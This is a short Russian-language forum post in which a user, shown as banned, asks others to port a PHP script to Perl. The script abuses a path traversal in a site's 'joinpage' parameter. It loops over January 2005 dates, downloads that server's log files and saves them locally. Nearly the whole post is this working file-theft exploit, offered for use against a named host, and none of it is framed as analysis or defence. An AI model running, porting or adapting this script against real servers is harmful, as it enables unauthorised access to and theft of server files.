01.02.2007, 03:03
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
С нами:
10459106
Репутация:
2996
|
|
php 2 perl [need help]
так как перл я вообще не знаю помогите итерпритировать исходник под perl.
PHP код:
<?
$url = "https://sie.com/index.php?s=test&pg=222&joinpage=../../../../../www/logs/";
$folder = "files";
set_time_limit(0);
for ($date=20050101;$date<20050131;$date++){
$file = @file_get_contents($url."ts_cascade_log.".$date);
if (strlen($file)>1){
$file_write = fopen($folder."/ts_cascade_log.".$date, "w");
fwrite($file_write, $file);
fclose($file_write);
echo "log.$date finish!/n/n, ";
flush();
}
}
?>
Спасибо. |
|
|